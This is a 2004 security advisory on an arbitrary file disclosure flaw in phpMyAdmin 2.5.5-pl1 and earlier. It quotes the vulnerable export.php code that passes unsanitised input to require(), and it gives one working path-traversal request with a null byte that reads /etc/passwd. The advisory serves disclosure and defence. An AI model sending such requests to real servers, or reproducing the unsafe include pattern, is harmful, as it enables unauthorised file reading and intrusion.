Arbitrary File Disclosure Vulnerability in phpMyAdmin 2.5.5-pl1 and prior

[Cedric Cochin <cco () netvigilance com>]

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   Arbitrary File Disclosure Vulnerability in phpMyAdmin 2.5.5-pl1 and prior

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Summary :

phpMyAdmin is a tool written in PHP intended to handle the administration of
MySQL over the WWW.  There is a vulnerability in the current stable version of
phpMyAdmin that allows an attacker to retrieve arbitrary files from the
webserver with privileges of the webserver.. 

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Details :

The export PHP script can be exploited to disclose arbitrary file using a
include() PHP call.

Vulnerable Systems:
* phpMyAdmin 2.5.5-pl1 and prior

Release Date :
February 2, 2004

Severity :
HIGH

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Examples :

                  -------------------------------------------

I - Arbitrary File Disclosure
(HIGH Risk)

File impacted : export.php

14:// What type of export are we doing?
15:if ($what == 'excel') {
16:    $type = 'csv';
17:} else {
18:    $type = $what;
19:}
20:
21:/**
22: * Defines the url to return to in case of error in a sql statement
23: */
24:require('./libraries/export/' . $type . '.php');

Exploit example:

- -- HTTP Request --

http://[target]/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00

- -- HTTP Request --

The vulnerability is available evenif PHP register_globals is set to off.

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Vendor Status :

The information has been provided to the phpMyAdmin Project Managers.
A new release candidate 2.5.6-rc1 with fixes for this vulnerability is available.
- --> http://www.phpmyadmin.net/home_page/
- --> http://www.phpmyadmin.net/home_page/relnotes.php?rel=0

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Credit :

Cedric Cochin, Security Engineer, netVigilance, Inc. (www.netvigilance.com)
< cco () netvigilance com >

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